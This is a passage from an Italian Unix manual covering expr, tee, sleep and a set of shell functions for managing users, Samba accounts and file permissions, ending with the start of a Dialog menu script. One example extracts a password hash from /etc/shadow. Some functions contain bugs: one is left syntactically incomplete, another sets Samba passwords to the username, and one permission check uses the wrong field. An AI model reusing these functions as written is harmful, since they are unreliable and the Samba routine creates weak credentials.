Gli operandi possono essere numeri o stringhe a seconda del tipo di operazione che si intende applicare. Se vengono usate le parentesi, è molto probabile che la shell utilizzata costringa a proteggerle attraverso le tecniche che la stessa mette a disposizione. Il valore restituito da '**expr**' dipende essenzialmente dal risultato dell'espressione nel modo seguente:

Valore di uscita	Quando si ottiene
0	se il risultato è diverso sia dal valore nullo che da zero;
1	se il risultato è nullo oppure zero;
2	se l'espressione non è valida.

Non si deve confondere il valore restituito dal programma con il risultato delle espressioni: '**expr**' valuta le espressioni come farebbe un linguaggio di programmazione comune, attribuendo al valore uno il significato di *Vero* e a zero il valore *Falso*.

Le espressioni possono essere concatenate attraverso degli operatori logici, come descritto nella tabella successiva.

Tabella 20.68. Operatori logici.

Operatore	Descrizione
|	È simile all'operatore OR: se la prima delle due espressioni genera un risultato diverso da zero e dal valore nullo, il risultato globale è questo; altrimenti il risultato è quello della seconda.
&	È simile all'operatore AND: se entrambe le espressioni generano un risultato diverso da zero e dal valore nullo, il risultato globale è quello della prima espressione; altrimenti il risultato è zero.

Gli operatori di comparazione sono i soliti che si usano in matematica, come descritto nella tabella successiva.

Tabella 20.69. Operatori di comparazione.

Operatore	Descrizione
`<`	Minore.
`<=`	Minore o uguale.
`=`	Uguale.
`==`	Identicamente uguale (di fatto equivalente alla notazione '**`=`**').
`!=`	Diverso.
`>`	Maggiore.
`>=`	Maggiore o uguale.

Se la comparazione è corretta (*Vero*), genera il valore uno, altrimenti si ottiene zero.

'**`expr`**' tenta inizialmente di considerare gli operatori da confrontare come numerici; se in questo modo fallisce l'operazione, tenta quindi di eseguire una comparazione lessicografica.

Gli operatori numerici sono i soliti che si usano in matematica, come descritto nella tabella successiva.

Tabella 20.70. Espressioni numeriche.

Operatore	Descrizione
`+`	Addizione.
`-`	Sottrazione.
`*`	Moltiplicazione.
`/`	Divisione.
`%`	Resto o modulo.

Tabella 20.71. Espressioni su stringhe.

Operatore	Descrizione
stringa : *espressione_regolare*	L'operatore '`:`' viene usato per comparare una stringa con un'espressione regolare. Questa espressione regolare può essere solo di tipo elementare (BRE) e si considera che contenga implicitamente un accento circonflesso ('`^`') iniziale (pertanto, l'espressione regolare deve corrispondere a partire dell'inizio della stringa). L'espressione regolare può contenere una coppia di parentesi tonde protette nel modo seguente: '`\(`...`\)`'. Se vengono usate, il risultato di questa comparazione è la stringa che corrisponde alla parte di espressione regolare racchiusa tra queste parentesi. Se non vengono usate, il risultato è il numero di caratteri che corrispondono. Se la comparazione fallisce e sono state usate le parentesi '`\(`' e '`\)`', il risultato è una stringa nulla. Se la comparazione fallisce e non sono state usate queste parentesi, il risultato è zero.
`match` *stringa* *espressione_regolare*	Questa sintassi è un modo alternativo per eseguire una comparazione di stringhe. Si comporta in modo identico all'uso dell'operatore '`:`'.
`substring` *stringa* ↩ ↪*posizione* *lunghezza*	Restituisce una sottostringa a partire dalla posizione indicata per una lunghezza massima stabilita. Se uno dei valori usati per indicare la posizione o la lunghezza è negativo, il risultato è la stringa nulla.
`index` *stringa* *insieme_di_caratteri*	Restituisce la prima posizione all'interno della stringa, a cui corrisponde uno dei caratteri che compone l'insieme di caratteri.
`length` *stringa*	Restituisce la lunghezza della stringa.

Segue la descrizione di alcuni esempi.

- `$` **`export miavar=2`** [*Invio*]

  `$` **`expr $miavar + 1`** [*Invio*]

  ```
  3
  ```

  Viene creata la variabile '**`miavar`**' assegnandole il valore '**`2`**', quindi calcola la somma tra il suo contenuto e '**`1`**'.

- `$` **`expr abc : 'a\(.\)c'`** [*Invio*]

  ```
  b
  ```

  Estrae dalla stringa la lettera centrale attraverso l'espressione regolare.

- `$` **`expr index ambaraba br`** [*Invio*]

  ```
  3
  ```

  Cerca la prima posizione all'interno della stringa '**`ambaraba`**' che corrisponda alla lettera '**`b`**', oppure alla lettera '**`r`**'.

20.8 Ridirezione

La ridirezione dei flussi di input e di output dei programmi viene svolta dalle shell. Il programma '**tee**' è molto importante in queste situazioni perché permette di copiare in un file il flusso di dati che lo attraversa.

20.8.1 Utilizzo di «tee»

Il programma di servizio '**tee**'[19] emette attraverso lo standard output quanto ricevuto dallo standard input, facendone una copia anche nei file indicati come argomento. Si tratta quindi di un filtro che permette di copiare i dati in transito in un file.

```
tee [opzioni] [file...]
```

Tabella 20.75. Alcune opzioni.

Opzione	Descrizione
`-a` `--append`	Aggiunge i dati ai file di destinazione, accodandoli, invece di sovrascriverli.
`-i` `--ignore-interrupts`	Ignora i segnali di interruzione.

20.9 Pause

Nella scrittura di script ci sono situazioni in cui è necessario fare delle pause, per permettere il completamento di qualcosa che non può essere controllato in modo sequenziale.

20.9.1 Utilizzo di «sleep»

Il programma di servizio '**sleep**'[20] attende per il tempo indicato come argomento, quindi termina la sua esecuzione. La durata si esprime attraverso un numero intero che rappresenta una quantità di secondi.

```
sleep durata
```

A seconda della realizzazione del programma, potrebbe essere consentito l'uso di numeri non interi, oppure l'aggiunta di un moltiplicatore, ma in generale, per ottenere la compatibilità massima, è meglio limitarsi all'uso di numeri interi che rappresentano secondi.

L'esempio seguente richiede una pausa di 10 s e quindi termina la sua esecuzione:

$ **sleep 10** [*Invio*]

20.10 Raccolta di funzioni per una shell POSIX

In questa sezione viene proposta una raccolta di funzioni per una shell POSIX comune, allo scopo di facilitare la gestione di un sistema GNU/Linux. Queste funzioni derivano dall'esperienza di NLNX (una distribuzione GNU/Linux per architettura x86, derivata da Debian, descritta nel volume III).

Queste funzioni si avvalgono evidentemente di programmi di servizio comuni nei sistemi Unix; in particolare SED (sezione 26.5). Di conseguenza, la comprensione del funzionamento di queste funzioni richiede una buona conoscenza nell'uso di tali programmi.

20.10.1 Estrapola da «/etc/passwd» le righe di un certo intervallo di numeri UID

```
password_records_by_uid_range uid_min uid_max < /etc/passwd > output_file
```

```
passwd_records_by_uid_range () {
    local UID_MIN="$1"
    local UID_MAX="$2"
    local RECORD=""
    local USER_ID=""
    #
    while read -r RECORD
    do
        USER_ID=`echo $RECORD | sed "s/^[^:]*:[^:]*:\([0-9]*\):.*/\1/"`
        #
        if [ 0$USER_ID -ge $UID_MIN ] && [ 0$USER_ID -le $UID_MAX ]
        then
            echo $RECORD
        fi
    done
}
```

L'esempio seguente utilizza la funzione per estrapolare le righe di '/etc/passwd' associate a numeri UID tra 1000 e 29999. Il risultato viene emesso semplicemente attraverso lo standard output.

```
cat /etc/passwd | passwd_records_by_uid_range 1000 29999
```

20.10.2 Estrapola da «/etc/passwd» le righe di un certo intervallo di numeri GID

```
password_records_by_gid_range gid_min gid_max < /etc/passwd > output_file
```

```
passwd_records_by_gid_range () {
    local GID_MIN="$1"
    local GID_MAX="$2"
    local RECORD=""
    local GROUP_ID=""
    #
    while read -r RECORD
    do
        GROUP_ID=`echo $RECORD | sed "s/^[^:]*:[^:]*:[^:]*:\([0-9]*\):.*/\1/"`
        #
        if [ 0$GROUP_ID -ge $GID_MIN ] && [ 0$GROUP_ID -le $GID_MAX ]
        then
            echo $RECORD
        fi
    done
}
```

L'esempio seguente utilizza la funzione per estrapolare le righe di '`/etc/passwd`' associate al numero GID zero.

```
cat /etc/passwd | passwd_records_by_gid_range 0 0
```

20.10.3 Estrapola da «/etc/group» le righe di un certo intervallo di numeri GID

`group_records_by_gid_range` ***gid_min gid_max*** `< /etc/group >` ***output_file***

```
group_records_by_gid_range () {
    local GID_MIN="$1"
    local GID_MAX="$2"
    local RECORD=""
    local GROUP_ID=""
    #
    while read -r RECORD
    do
        GROUP_ID=`echo $RECORD | sed "s/^[^:]*:[^:]*:\([0-9]*\):.*/\1/"`
        #
        if [ 0$GROUP_ID -ge $GID_MIN ] && [ 0$GROUP_ID -le $GID_MAX ]
        then
            echo $RECORD
        fi
    done
}
```

L'esempio seguente utilizza la funzione per estrapolare le righe di '`/etc/group`' associate ai numeri GID da 1000 a 29999.

```
cat /etc/group | group_records_by_gid_range 1000 29999
```

20.10.4 Seleziona un utente interattivamente

Per selezionare interattivamente l'utente si usa Dialog e si preferisce depositare il nome scelto in un file:

```
select_user uid_min uid_max output_file < /etc/passwd
```

```
select_user_menu () {
    #
    local UID_MIN="$1"
    local UID_MAX="$2"
    local RECORD=""
    local USER_ID=""
    #
    local USER_AND_HOME_LIST=""
    #
    while read -r RECORD
    do
        USER_ID=`echo $RECORD | sed "s/^[^:]*:[^:]*:\([0-9]*\):.*/\1/"`
        #
        if [ 0$USER_ID -ge $UID_MIN ] && [ 0$USER_ID -le $UID_MAX ]
        then
            echo $RECORD | sed "s/^\(.*\):.*:.*:.*:.*:\(.*\):.*/\1 \2/g"
        fi
    done
}
```

```
select_user () {
    #
    local UID_MIN="$1"
    local UID_MAX="$2"
    local INPUT_FILE="$3"
    local OUTPUT_FILE="$4"
    #
    local USER_AND_HOME_LIST=""
    local SELECTED_USER=""
    #
    local TEMPORARY=`tempfile`
    printf "" > $TEMPORARY
    #
    USER_AND_HOME_LIST=`cat $INPUT_FILE \
                       | select_user_menu $UID_MIN $UID_MAX \
                       | sort -u`
    #
    if dialog                             \
        --clear                           \
        --title "Users"                   \
```

```
        --menu  "Select a user name."    \
        0 0 0                            \
        $USER_AND_HOME_LIST              \
        "!EXIT!" "."                     \
        2> $TEMPORARY
    then
        SELECTED_USER=`cat $TEMPORARY`
        echo "" > $TEMPORARY
        #
        if [ "$SELECTED_USER" = "!EXIT!" ]
        then
            SELECTED_USER=""
        fi
    else
        SELECTED_USER=""
    fi
    #
    echo "$SELECTED_USER" > "$OUTPUT_FILE"
    rm $TEMPORARY
}
```

L'esempio seguente utilizza la funzione per estrapolare un utente dal file '`/etc/passwd`', tra i numeri UID 1000 e 29999. Il risultato viene visualizzato attraverso lo standard output.

```
cat /etc/passwd | select_user 1000 29999 /etc/passwd /tmp/ciao
cat /tmp/ciao
```

20.10.5 Seleziona un campo di una certa riga da un file come «/etc/passwd», «/etc/group» e simili

`table_get_column_field` ***file indice n_colonna***

```
table_get_column_field () {
    #
    local INPUT_FILE="$1"
    local INDEX="$2"
    local COLUMN="$3"
    local RECORD=""
    local FIELD=""
    #
    if [ ! -r "$INPUT_FILE" ]
    then
        echo 1>&2 "[$0] cannot read \"$INPUT_FILE\"."
        return
    fi
    #
```

```
    if   [ "$COLUMN" = "1" ]
    then
        echo 1>&2 "[$0] index should be more than one."
        echo "$INDEX"
        return
    fi
    #
    RECORD=`grep -m 1 "^${INDEX}:" "$INPUT_FILE"`
    #
    if [ "$RECORD" = "" ]
    then
        echo 1>&2 "[$0] index \"$INDEX\" not found inside \"$INPUT_FILE\"."
        return
    fi
    #
    while [ "$COLUMN" -gt "1" ]
    do
        RECORD=`echo $RECORD | sed "s/^[^:]*://"`
        COLUMN=$(($COLUMN - 1))
    done
    #
    FIELD=`echo $RECORD | sed "s/^\([^:]*\).*$/\1/"`
    #
    echo $FIELD
    return
}
```

L'esempio seguente utilizza la funzione per estrapolare la parola d'ordine cifrata dell'utente «tizio» dal file '`/etc/shadow`', visualizzando il risultato attraverso lo standard output.

```
table_get_column_field /etc/shadow tizio 2
```

20.10.6 Aggiunge un utente Unix e Samba, simultaneamente

`user_add_unix_samba` ***user passwd home full_name room work_ph home_ph***

La funzione che viene proposta è estrapolata dallo script '**`nlnxrc`**' di NLNX, dove però viene eseguita un'attività più complessa. Questa edizione particolare non è collaudata ed è qui solo come promemoria.

```
user_add_unix_samba () {
    #
    local NEW_USER="$1"
    local NEW_PASSWD="$2"
    local NEW_HOME="$3"
    local NEW_FULL_NAME="$4"
    local NEW_ROOM="$5"
    local NEW_WORK_PHONE="$6"
    local NEW_HOME_PHONE="$7"
```

```
    local TEMP_USER=""
    #
    # Elimina le virgole e altri caratteri inopportuni
    # dalle informazioni dell'utente.
    #
    NEW_FULL_NAME=`echo $NEW_FULL_NAME   | sed "/,:=/ /g"`
    NEW_ROOM=`echo $NEW_ROOM             | sed "/,:=/ /g"`
    NEW_WORK_PHONE=`echo $NEW_WORK_PHONE | sed "/,:=/ /g"`
    NEW_HOME_PHONE=`echo $NEW_HOME_PHONE | sed "/,:=/ /g"`
    #
    # Verifica che i dati siano validi.
    #
    if   [ "$NEW_USER" = "" ]
    then
        echo 1>&1 "[$0] cannot create user with no name."
        false
        return
    elif echo "$NEW_USER" | grep "[^a-z0-9]" > "/dev/null"
    then
        echo 1>&1 "[$0] user name must contain only lower case letters and numbers."
        false
        return
    fi
    #
    # Il nominativo utente non deve superare i 16 caratteri
    #
    TEMP_USER=`echo $NEW_USER | sed "s/^\(................\).*$/\1/"`
    if [ "$TEMP_USER" = "$NEW_USER" ]
    then
        true
    else
        echo 1>&2 "[$0] user name cannot be longer than 16 characters."
        false
        return
    fi
    #
    # Controlla la directory personale
    #
    if [ "$NEW_HOME" = "" ]
    then
        NEW_HOME="/home/$NEW_USER"
    fi
    #
    if [ -e "$NEW_HOME" ]
    then
        echo 1>&2 "[$0] home directory \"$NEW_HOME\" cannot be created."
        false
        return
    fi
    #
    # Controlla che ci sia la parola d'ordine.
    #
    if [ "$NEW_PASSWD" = "" ]
    then
        echo 1>&2 "[$0] the new user must have a password."
```

```
        false
        return
    fi
    #
    # Crea l'utente, usando inizialmente lo script "adduser",
    # secondo le convenzioni Debian.
    #
    if adduser \
        --disabled-password \
        --no-create-home \
        --home "$NEW_HOME" \
        --gecos "$NEW_FULLNAME,$NEW_ROOM,$NEW_WORK_PHONE,$NEW_HOME_PHONE"\
        $NEW_USER
    then
        #
        # Crea manualmente la directory personale.
        #
        mkdir -p "$NEW_HOME"
        rmdir    "$NEW_HOME"
        #
        cp -dpR  /etc/skel  "$NEW_HOME"
        chown -R $NEW_USER: "$NEW_HOME"
        chmod 0755          "$NEW_HOME"
        #
        # Aggiunge un collegamento simbolico all'interno di
        # "/var/mail/", perché alcuni programmi ne hanno bisogno.
        # Si presume che il file "~/mail/mbox" venga usato per
        # accumulare i messaggi di posta elettronica dell'utente.
        #
        rm "/var/mail/$NEW_USER" 2> "/dev/null"
        ln -s "../../$NEW_HOME/mail/mbox" "/var/mail/$NEW_USER"
        #
        # Attribuisce la parola d'ordine (nel farlo, crea anche
        # l'utenza per Samba).
        #
        if user_passwd_unix_samba "$NEW_USER" "$NEW_PASSWD"
        then
            true
        else
            #
            # Elimina l'utenza.
            #
            user_del_unix_samba "$NEW_USER"
            false
            return
    else
        echo 1>&2 "[$0] cannot create user \"$NEW_USER\"."
        false
        return
    fi
    #
    rm $TEMPORARY
}
```

20.10.7 Cambia la parola d'ordine a un utente Unix e Samba, simultaneamente

```
user_passwd_unix_samba user passwd
```

```
user_passwd_unix_samba () {
    #
    local OLD_USER="$1"
    local NEW_PASSWD="$2"
    #
    local TEMPORARY=`tempfile`
    printf "" > $TEMPORARY
    #
    # Tenta di eliminare un'utenza vecchia, con lo stesso nome
    # dalla gestione di Samba.
    #
    smbpasswd -x $OLD_USER 2> "/dev/null" 1> "/dev/null"
    #
    # Imposta la parola d'ordine Unix.
    #
    if ( sleep 1 ; echo $NEW_PASSWD ; sleep 1 ; echo $NEW_PASSWD ) \
       | /usr/bin/passwd $NEW_USER 2> $TEMPORARY
    then
        #
        # Crea o ricrea l'utenza Samba.
        #
        if [ -x /usr/bin/smbpasswd ]
        then
            if ( sleep 1 ; echo $NEW_USER ; sleep 1 ; echo $NEW_USER ) \
               | /usr/bin/smbpasswd -s -a $NEW_USER 2> $TEMPORARY
            then
                true
            else
                echo 1>&2 "[$0] problem changing Samba password to user \
"$NEW_USER": `cat $TEMPORARY`."
                rm "$TEMPORARY"
                false
                return
            fi
        fi
    else
        echo 1>&2 "[$0] problem changing Unix password to user \
"$NEW_USER": `cat $TEMPORARY`."
        rm "$TEMPORARY"
        false
        return
    fi
    rm "$TEMPORARY"
}
```

20.10.8 Elimina un utente Unix e Samba, simultaneamente

```
user_del_unix_samba user
```

```
user_del_unix_samba () {
    #
    local OLD_USER="$1"
    local OLD_HOME=""
    #
    # Trova la directory personale.
    #
    OLD_HOME=`cat /etc/passwd \
             | grep "^$OLD_USER:" \
             | sed "s/^[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:\([^:]*\):[^:]*$/\1/"`
    #
    # Elimina l'utenza dalla gestione di Samba.
    #
    if [ -x /usr/bin/smbpasswd ]
    then
        if smbpasswd -x $OLD_USER
        then
            true
        else
            echo 1>&2 "[$0] cannot remove Samba user \"$OLD_USER\"."
        fi
    fi
    #
    # Elimina l'utenza Unix.
    #
    if deluser --remove-home "$OLD_USER"
    then
        #
        # Elimina il collegamento simbolico in "/var/mail".
        #
        rm "/var/mail/$OLD_USER"
    else
        echo 1>&2 "[$0] cannot remove Unix user \"$OLD_USER\"."
        false
        return
    fi
}
```

20.10.9 Seleziona interattivamente salvando la selezione

La funzione che viene proposta richiede due elenchi, contenuti in altrettanti file di testo, contenenti rispettivamente un insieme di voci e un sottoinsieme di voci da selezionare. Lo scopo è quello di cambiare il sottoinsieme selezionato e di aggiornare il contenuto del secondo file.

```
select_subset_save file_list_full file_list_selected ↩
↪ selection_description unselection_description ↩
↪ selection_word ↩
↪ list_header list_description ↩
↪ file_return_value_selected ↩
↪ file_return_value_unselected
```

La funzione si avvale di un'altra che deve produrre l'opposto del sottoinsieme selezionato:

```
selection_invert ()
{
    local LIST_FULL="$1"
    local LIST_SELECTED="$2"
    local LIST_UNSELECTED=""
    local l=""
    local s=""
    local ITEM_FOUND=""
    #
    if [ "$LIST_SELECTED" = "" ]
    then
        LIST_UNSELECTED="$LIST_FULL"
    else
        for l in $LIST_FULL
        do
            ITEM_FOUND="0"
            for s in $LIST_SELECTED
            do
                if [ "$l" = "$s" ]
                then
                    ITEM_FOUND="1"
                    break
                fi
            done
            if [ "$ITEM_FOUND" = "1" ]
            then
                true
            else
                LIST_UNSELECTED="$LIST_UNSELECTED $l"
            fi
        done
    fi
```

```
    #
    echo "$LIST_UNSELECTED"
}
```

```
select_subset_save ()
{
    local FILE_LIST_FULL="$1"
    local FILE_LIST_SELECTED="$2"
    local SELECTION_DESCRIPTION="$3"
    local UNSELECTION_DESCRIPTION="$4"
    local SELECTION_WORD="$5"
    local LIST_HEADER="$6"
    local LIST_DESCRIPTION="$7"
    local FILE_RETURN_VALUE_SELECTED="$8"
    local FILE_RETURN_VALUE_UNSELECTED="$9"
    #
    local LIST_FULL=""
    local LIST_SELECTED=""
    local LIST_SELECTED_VALID=""
    local LIST_UNSELECTED=""
    local ITEM_FOUND=""
    local ITEM_SELECTION=""
    local SELECTION=""
    local SELECTED=""
    #
    local TEMPORARY=`tempfile`
    touch $TEMPORARY
    #
    LIST_FULL=`cat $FILE_LIST_FULL | sed "s/#.*$//" 2> /dev/null`
    LIST_SELECTED=`cat $FILE_LIST_SELECTED | sed "s/#.*$//" 2> /dev/null`
    #
    if [ "$LIST_FULL" = "" ]
    then
        dialog --msgbox "The file \"$FILE_LIST_FULL\" is empty!" 0 0
        false
        return
    fi
    #
    # Unselected and select again.
    #
    LIST_UNSELECTED=`selection_invert "$LIST_FULL" "$LIST_SELECTED"`
    LIST_SELECTED=`selection_invert "$LIST_FULL" "$LIST_UNSELECTED"`
    #
    # Item selection list.
    #
    for i in $LIST_SELECTED
    do
        ITEM_SELECTION="$ITEM_SELECTION $i ${SELECTION_WORD}_$i on"
    done
    for i in $LIST_UNSELECTED
    do
        ITEM_SELECTION="$ITEM_SELECTION $i ${SELECTION_WORD}_$i off"
```

```
    done
    #
    # Dialog.
    #
    while true
    do
        if dialog  \
            --clear \
            --title "$LIST_HEADER" \
            --checklist "$LIST_DESCRIPTION" \
            0 0 0 \
            "!ALL!"  "$SELECTION_DESCRIPTION" off     \
            "!NONE!"  "$UNSELECTION_DESCRIPTION" off   \
            $ITEM_SELECTION   \
            2> $TEMPORARY
        then
            SELECTION=`cat $TEMPORARY`
            echo "" > $TEMPORARY
            #
            # Do something.
            #
            if   echo "$SELECTION" | grep "!ALL!" > "/dev/null"
            then
                ITEM_SELECTION=""
                for i in $LIST_FULL
                do
                    ITEM_SELECTION="$ITEM_SELECTION $i ${SELECTION_WORD}_$i on"
                done
                continue
                #
            elif   echo "$SELECTION" | grep "!NONE!" > "/dev/null"
            then
                ITEM_SELECTION=""
                for i in $LIST_FULL
                do
                    ITEM_SELECTION="$ITEM_SELECTION $i ${SELECTION_WORD}_$i off"
                done
                continue
                #
            else
                LIST_SELECTED=""
                for s in $SELECTION
                do
                    #
                    # Remove the double quotes.
                    #
                    SELECTED=`echo $s | sed "s/\"//g"`
                    LIST_SELECTED="$LIST_SELECTED $SELECTED"
                    #
                done
                #
                LIST_UNSELECTED=`selection_invert "$LIST_FULL" "$LIST_SELECTED"`
                #
```

```
                # Save data.
                #
                printf "" > "$FILE_LIST_SELECTED"
                for s in $LIST_SELECTED
                do
                    echo "$s" >> "$FILE_LIST_SELECTED"
                done
                #
                # Stop the loop.
                #
                break
                #
            fi
        else
            false
            return
        fi
    done
    #
    rm -f $TEMPORARY
    #
    printf "" > "$FILE_RETURN_VALUE_SELECTED"
    for s in $LIST_SELECTED
    do
        echo "$s" >> "$FILE_RETURN_VALUE_SELECTED"
    done
    #
    printf "" > "$FILE_RETURN_VALUE_UNSELECTED"
    for s in $LIST_UNSELECTED
    do
        echo "$s" >> "$FILE_RETURN_VALUE_UNSELECTED"
    done
    #
    true
    #
}
```

Si osservi l’esempio seguente:

```
select_subset_save  /etc/xxx/ELENCO_COMPLETO \
                    /etc/xxx/ELENCO_SELEZIONATO \
                    "selezione di tutte le voci" \
                    "rimozione di tutte le selezioni" \
                    "attiva" \
                    "attivazione voci" \
                    "Selezionare le voci da attivare:" \
                    /tmp/xxx.selezionati \
                    /tmp/xxx.non_selezionati
```

In questo c’è il file ‘`/etc/xxx/ELENCO_COMPLETO`’, contenente un elenco di voci (ogni voce deve costituire una parola sola), quindi c’è il file ‘`/etc/xxx/ELENCO_SELEZIONATO`’ con un

sottoinsieme delle voci del primo file. Attraverso la selezione che si esegue con la funzione, il file '/etc/xxx/ELENCO_SELEZIONATO' viene aggiornato con il nuovo sottoinsieme, ma in ogni caso si genera il file '/tmp/xxx.selezionati' con le voci selezionate e il file '/tmp/xxx.non_selezionati' con le altre voci.

20.10.10 Verifica che l'utente proprietario di un file possa accedervi

Si tratta di tre funzioni, le quali, rispettivamente, verificano se l'utente proprietario di un file o di una directory ha il permesso di accedervi in lettura, scrittura, esecuzione o attraversamento. Si osservi che si tratta di un controllo basato sul proprietario del file e non sui privilegi che l'interprete dello script si trova ad avere in un certo momento.

```
file_owner_access_r file
```

```
file_owner_access_w file
```

```
file_owner_access_x file
```

Le tre funzioni restituiscono *Vero* nel caso il permesso richiesto sia disponibile; altrimenti *Falso* in caso contrario.

```
file_owner_access_r ()
{
    local FILE_NAME="$1"
    local ACCESS=""
    #
    if [ -e "$FILE_NAME" ]
    then
        ACCESS=`ls -n -d "$FILE_NAME" \
                  | sed "s/^.\(.\).*$/\1/"`
        #
        if [ "$ACCESS" = "r" ]
        then
            true
            return
        fi
    fi
    false
}
```

```
file_owner_access_w ()
{
    local FILE_NAME="$1"
    local ACCESS=""
    #
    if [ -e "$FILE_NAME" ]
    then
        ACCESS=`ls -n -d "$FILE_NAME" \
                  | sed "s/^..\(.\).*$/\1/"`
        #
        if [ "$ACCESS" = "w" ]
        then
            true
            return
        fi
    fi
    false
}
```

```
file_owner_access_x ()
{
    local FILE_NAME="$1"
    local ACCESS=""
    #
    if [ -e "$FILE_NAME" ]
    then
        ACCESS=`ls -n -d "$FILE_NAME" \
                  | sed "s/^...\(.\).*$/\1/"`
        #
        if [ "$ACCESS" = "x" ] || [ "$ACCESS" = "s" ]
        then
            true
            return
        fi
    fi
    false
}
```

20.10.11 Verifica che il gruppo proprietario di un file possa accedervi

Si tratta di tre funzioni analoghe a quelle della sezione precedente, le quali verificano se il gruppo proprietario di un file o di una directory ha il permesso di accedervi in lettura, scrittura, esecuzione o attraversamento.

```
file_group_access_r file
```

```
file_group_access_w file
```

```
file_group_access_x file
```

Le tre funzioni restituiscono *Vero* nel caso il permesso richiesto sia disponibile; altrimenti *Falso* in caso contrario.

```
file_group_access_r ()
{
    local FILE_NAME="$1"
    local ACCESS=""
    #
    if [ -e "$FILE_NAME" ]
    then
        ACCESS=`ls -n -d "$FILE_NAME" \
                    | sed "s/^....\(.\).*$/\1/"`
        #
        if [ "$ACCESS" = "r" ]
        then
            true
            return
        fi
    fi
    false
}
```

```
file_group_access_w ()
{
    local FILE_NAME="$1"
    local ACCESS=""
    #
    if [ -e "$FILE_NAME" ]
    then
        ACCESS=`ls -n -d "$FILE_NAME" \
                    | sed "s/^.....\(.\).*$/\1/"`
        #
        if [ "$ACCESS" = "w" ]
        then
            true
            return
        fi
    fi
    false
}
```

```
file_group_access_x ()
{
    local FILE_NAME="$1"
    local ACCESS=""
    #
    if [ -e "$FILE_NAME" ]
    then
        ACCESS=`ls -n -d "$FILE_NAME" \
                  | sed "s/^......\(.\).*$/\1/"`
        #
        if [ "$ACCESS" = "x" ] || [ "$ACCESS" = "s" ]
        then
            true
            return
        fi
    fi
    false
}
```

20.10.12 Verifica che gli utenti diversi possano accedere a un file

Si tratta di tre funzioni analoghe a quelle della sezione precedente, le quali verificano se gli utenti diversi dal proprietario e dal gruppo del file o di una directory, hanno il permesso di accedervi in lettura, scrittura, esecuzione o attraversamento.

```
file_other_access_r file
```

```
file_other_access_w file
```

```
file_other_access_x file
```

Le tre funzioni restituiscono *Vero* nel caso il permesso richiesto sia disponibile; altrimenti *Falso* in caso contrario.

```
file_other_access_r ()
{
    local FILE_NAME="$1"
    local ACCESS=""
    #
    if [ -e "$FILE_NAME" ]
    then
        ACCESS=`ls -n -d "$FILE_NAME" \
                  | sed "s/^.......\(.\).*$/\1/"`
        #
        if [ "$ACCESS" = "r" ]
        then
            true
            return
        fi
    fi
    false
}
```

```
file_other_access_w ()
{
    local FILE_NAME="$1"
    local ACCESS=""
    #
    if [ -e "$FILE_NAME" ]
    then
        ACCESS=`ls -n -d "$FILE_NAME" \
                  | sed "s/^........\(.\).*$/\1/"`
        #
        if [ "$ACCESS" = "w" ]
        then
            true
            return
        fi
    fi
    false
}
```

```
file_other_access_x ()
{
    local FILE_NAME="$1"
    local ACCESS=""
    #
    if [ -e "$FILE_NAME" ]
    then
        ACCESS=`ls -n -d "$FILE_NAME" \
                  | sed "s/^........\(.\).*$/\1/"`
        #
        if [ "$ACCESS" = "x" ] || [ "$ACCESS" = "s" ]
        then
            true
            return
        fi
    fi
    false
}
```

20.10.13 Estrapola il nome dell'utente proprietario di un file

```
file_owner_name file
```

```
file_owner_name ()
{
    local FILE_NAME="$1"
    local OWNER_UID=""
    local OWNER_NAME=""
    #
    if [ -e "$FILE_NAME" ]
    then
        OWNER_UID=`ls -n -d "$FILE_NAME" \
                  | sed "s/^[^ ]*  *[^ ]*  *\([^ ]*\)  *.*$/\1/"`
        #
        OWNER_NAME=`cat /etc/passwd \
                   | grep "^[^:]*:[^:]*:$OWNER_UID:" \
                   | head -n 1 \
                   | sed "s/^\(.*\):.*:.*:.*:.*:.*:.*$/\1/"`
        #
        echo "$OWNER_NAME"
    else
        false
    fi
}
```

20.10.14 Estrapola la directory personale di un utente

```
user_home_directory utente
```

```
user_home_directory ()
{
    local USER_NAME="$1"
    local HOME_DIRECTORY=""
    #
    HOME_DIRECTORY=`cat /etc/passwd \
                    | grep "^$USER_NAME:" \
                    | head -n 1 \
                    | sed "s/^.*:.*:.*:.*:.*:\(.*\):.*$/\1/"`
    #
    echo "$HOME_DIRECTORY"
    #
}
```

20.10.15 Estrapola il numero UID di un utente

```
user_uid utente
```

```
user_uid ()
{
    local USER_NAME="$1"
    local USER_UID=""
    #
    USER_UID=`cat /etc/passwd \
              | grep "^$USER_NAME:" \
              | head -n 1 \
              | sed "s/^.*:.*:\(.*\):.*:.*:.*:.*$/\1/"`
    #
    echo "$USER_UID"
    #
}
```

20.11 Approfondimento: un esercizio con Dialog

In questa sezione viene proposto uno script basato sull'uso di Dialog, per realizzare un piccolo programma frontale con uno scopo preciso: facilitare la scrittura di testi come lo si potrebbe fare con una macchina da scrivere. Questo tipo di lavoro, così come è impostato, è organizzato in modo da definire prima l'azione, poi gli oggetti coinvolti, come succedeva spesso nei programmi gestionali dei primi anni 1980.

Lo script è pensato per l'uso da parte di chi non vuole sapere come si usa un sistema operativo, a costo di accontentarsi di poche cose. Per questa ragione, lo script è pensato per sostituire il file '~/.profile', in modo che dopo l'identificazione dell'utente, ciò che appare sia un menù di funzioni.

Questo script deve organizzare la gestione di file di testo, cercando di evitare che l'utente incorra in errori gravi, dovuti all'assoluta ignoranza di questioni che generalmente sono ritenute banali. Per questo, all'avvio verifica l'esistenza di una directory che ha lo scopo di raccogliere i documenti testuali e di sottodirectory per la conservazione di diverse versioni precedenti. Se queste directory mancano, provvede a crearle.

Figura 20.105. All'avvio, lo script mostra il menù delle funzioni disponibili.

```
.----------------------------Menu‘ principale------------------------------.
| Funzioni disponibili:                                                    |
| .----------------------------------------------------------------------. |
| |   new     crea un documento nuovo                                    | |
| |   view    visualizza un documento gia‘ esistente                     | |
| |   edit    modifica un documento gia‘ esistente                       | |
| |   copy    copia un documento                                         | |
| |   rename  cambia nome a un documento                                 | |
| |   delete  elimina un documento che non serve piu‘                    | |
| |   list    elenca il contenuto di un disco rimovibile                 | |
| |   view2   visualizza un documento contenuto in un disco rimovibile   | |
| |   erase   cancella un disco rimovibile                               | |
| |   format  inizializza un disco rimovibile                            | |
| |   export  esporta dei documenti in un disco rimovibile               | |
| |   import  importa dei documenti da un disco rimovibile               | |
| |   print   stampa un documento                                        | |
| |   startx  avvia la grafica                                           | |
| |   quit    fine lavoro                                                | |
| ‘----------------------------------------------------------------------’ |
|--------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                        |
‘--------------------------------------------------------------------------’
```

